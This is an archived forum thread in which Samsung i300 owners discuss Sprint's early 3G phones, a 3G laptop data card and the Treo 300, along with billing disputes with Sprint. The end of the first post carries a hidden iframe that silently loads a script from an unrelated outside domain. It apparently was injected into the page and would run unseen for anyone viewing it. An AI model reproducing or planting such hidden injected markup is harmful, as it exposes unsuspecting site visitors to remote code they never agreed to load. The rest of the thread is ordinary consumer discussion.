Poll: I plan on replacing my I300...

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  1. #1
    i300 User
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    3G - My Personal Experience

    Well, I just had to check it out, so I went and added another phone to my account - the Samsung A500 - and have been playing around with it for the last 3 days - and here are MY impressions:

    > 3G is not any faster accessing data/web functions. There is absolutely NO speed difference compared to my I300 - I am not gonna split hairs here - I am talking about a real speed difference - maybe it is half a second faster - but I have a hard time justifying a completely different hardware/price plan investment for no perceived speed difference.

    >3G is very inconsistent. I would esitmate that 1 out of 3 times I try to surf the web or pull down messages, I cannot even connect to the server - I get varying messages, but mostly timeouts to the server. I took my phone in to a Sprint store on Day 2 and had them check it out to make sure that it wasn't a hardware problem, and they confirmed that my phone checked out ok and chalked it up to problems with the network.

    >3G hardware isn't ready for primetime. Wait for the 2nd generation of 3G phones if you have to get one - the Samsung A500 is suppossed to be the flagship non-smartphone (see other threads for 50 reasons not to get a Treo) but the menuing and interface is a HUGE hassle. I don't know who designed this thing, but although the screen is a beauty, the recessed buttons and whole menu interface takes fifty button presses to get one thing done. I played with all the phones before getting this one for $299 - but although it looks sleek and pretty, useability is very lacking. It is also difficult to flip open with one hand, the battery life has been VERY poor, and the vibrate function is worthless it barely hums.

    It took over 24 hours before I could access the Sprint Web Site (it was down for maintainence or something - it usualy is down more than up I think) and I could set up my Vision stuff - I tried the Business Connection software - the one that allows you to access all of your Outlook data via your 3G phone - and IN MY OPINION - this is yet another completely worthless program. How it works is that you leave your PC on and connected to the internet, and then you access it via Sprint's phone web portal on your 3G phone and - if you have A LOT of patience - you can pull up your schedule, contacts, or email that resides in Outlook on your contstantly-on desktop or laptop PC. It takes forever, though, and I usually take my laptop with me so it is worthless for me because this is client, not server, software - running it on my exchange server is not possible unless I buy there gillion-dollar enterprise software - and I don't have an extra PC laying around that can serve my data for me while I am away from home. This might be useful for you guys that have Outlook running on your home PC with an always-on broadband connection - but believe me when I tell you that it is SO slow accessing it from your phone that it would be quicker to run/fly/drive back home and pull the data off your PC that you needed than try to use this 'revolutionary' 3G service from Sprint.

    That said, the phone is going back on Monday, and I am going to hang on to my I300 for probably another 6 months - at least. More features in a phone is not really useful for me - I need my contacts, schedule, and a phone - so these new phones coming out really don't appeal to my needs - although they look neat and I am sure there are some excited kids out there who can't wait to play 30 second movie clips on their phone - but I think I will wait for fast, reliable internet access in a phone - until then, I will be keeping my trusty I300.

    gf<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    Administrator
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    GF, i certainly enjoy your posts.. they have substance and are worth reading more than once... thank you for your many contributuions to this board...

    having said that...

    thank you for your enlightening view on 3G and using it in the "real world".. this makes me feel better knowing im not missing out on anything 3G has to offer (i saw on smartphonesource that sprint is offering unlimited data plans for next to nothing starting on the 19th of this month).

    are you stil excited about the i330? seems it us upon us and should be available by the end of this month?

  3. #3
    To Greatness, I Aspire
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    04-01-2002
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    North Carolina
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    3G - Sprint Novatel card

    Another opinion.....

    I have been using a trial of the Novatel card from Sprint for connecting my ThinkPad to the 3G network. I love it. The speed is more like a 56kbs modem but is much faster than the old 14.4kbs card. Many times I have my ThinkPad and cannot connect to 802.11 so I use my WAN card instead. Seems like the speed varies, but I really never have trouble connecting to the network if I have a signal.

    Fortunately, I am not paying for the card so my experience must take that into consideration. However, I recommend if you need to be connected, and in a lot of places that don't have wired connections and don't want to be tied down to a modem line.

  4. #4
    i300 User
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    If the I330 will fit into my handsfree kit - maybe. But I am fine on memory and if I remember correctly, that is really the only difference other than 3G and the new look, right? If that is the case, I would be paying for more memory (which I don't really need), 3G (which is nothing special), and a new look (I actually like the look of the I300 better).

    Am I missing something, Marc?

  5. #5
    i300 User
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    Hey Gadgets -

    Tell me more about your experience with the 3G PCMCIA card. Does it chew more battery? Does it have its own number - for incoming faxes, maybe? Gimme some details - I have been wanting to try one of those. How reliable are the connections?

    gf

  6. #6
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    yes please comment. i may end up getting this for my laptop and not worry about any new 3g phone for a while....

    m.

  7. #7
    Registered User
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    10-18-2001
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    3G speed....

    I tested a Treo 300 side by side with an I300 and there was no comparison in download speed..... the Treo 300 with the 3G is much faster....

    for small sites without graphics they might be close, as it take a decent amount of time to get the connections started.... and being that there isn't that much data to transmit on small wap sites, the 3G never gets close to its burst speed....

    I connected a Treo 300 to a laptop and downloaded a 5MB PDF file and it averaged 9.7k/sec..... the I300 couldn't get above 1k/sec...

  8. #8
    Registered User
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    Originally posted by Glen Fountain
    Hey Gadgets -

    Tell me more about your experience with the 3G PCMCIA card. Does it chew more battery? Does it have its own number - for incoming faxes, maybe? Gimme some details - I have been wanting to try one of those. How reliable are the connections?

    gf
    Glen/Marc:
    I haven't checked into the board in a while, but see there is lots of new info lately on new Sprint plans, i330, etc. One of the guys I work with got the Novatel card the other day and called me raving about it. I have been skeptical about 3G thur far, but he was very high on it. When he gets back into town and in the office I will get more detailed info and post it.
    Carl

  9. #9
    i300 User
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    Thanks Carl - I'll be looking forward to it!

    Fikse - I think it may be a consistency problem, as I had my A500 in one hand and my girlfriend's LG non-3G phone in the other, and d/l various sites - they were neck-in-neck. My I300 was actually about 1 or 2 sec. faster on the accuweather.com mobile site, even after I cleared my browser's cache and tested one or two times. Also - where are you located - out of curiosity?

    I can also tell you that far too often AT THE SPRINT STORE the 3g phones take several tries to connect to the network in browser mode.

    On another note - I returned my Samsung A500 exactly 10 days after I purchased it. It took me 1 hour 45 minutes on the phone with a customer service rep to move my phone number back to my I300. Then, 2 hours later, someone called me at home and said my cellphone was disconnected - I called Sprint back and discovered that I was charged a $200 early-termination penalty and my service would not be reconnected until I paid it. I explained my ordeal and asked also to be refunded my activation fee and partial usage fees on the A500 as the service is nothing like described or shown on TV. That took an additional 1 hour 15 minutes - but hey, he gave me 120 MINUTES extra this month to compensate for my 3 hours on a Saturday spent on the phone with them. I laughed at him and told him I had the 2000 minute plan already although I only averaged 1752 minutes per month - and that his minutes were worthless but he could give me cash... He said that my account already showed a credit of $200 in the last 30 days (the early termination credit) and he could not give me any more credit back. I laughed and hung up. I went online today and noticed that I didn't get any credit back for my 10 days of 3g service or $34.99 activation fee - but I can't call them anymore - they just ruin my entire day when I talk to them. I really, truly, honestly HATE Sprint.

    gf

  10. #10
    Registered User
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    tell me about it...

    Glen... I can't agree with you more... its such a joke how uninformed, and unorganized sprint customer service is...

    when I switched my plan to a 3g plan... i got the 69/month for 800/5200/8MB, shared minutes... and I did a two year contract...

    I asked 6 times if there was a phone sharing charge to add my wife's phone... she said no.... I even called back, talked to a different rep, and got the same answer...

    of couse I get my bill and there a $10 phone sharing charge...

    I was on the phone forever, hearing the same lame excuse... she shouldn't have told you that.... they wouldn't budge... wouldn't even excuse me from the contract! they ended up giving me a $50 credit and that was it...

    I'm in south florida....

    sprint sucks!

  11. #11
    Registered User garylapointe's Avatar
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    Re: 3G speed....

    Originally posted by fikse
    I tested a Treo 300 side by side with an I300 and there was no comparison in download speed..... the Treo 300 with the 3G is much faster....
    I agree! I was very excited using the treo at the sprint store (Livonia, Michigan) today! Why use avant go when I can get it live that fast? (Okay, a few reasons but it was very fast.)

    (If it seems slow you gotta realize sometimes it's the site that's slow.)

    I would have bought it in a heartbeat if it wasn't for that dang keyboard. It's just too hard to type AND use a stylus at the same time...

    Gary

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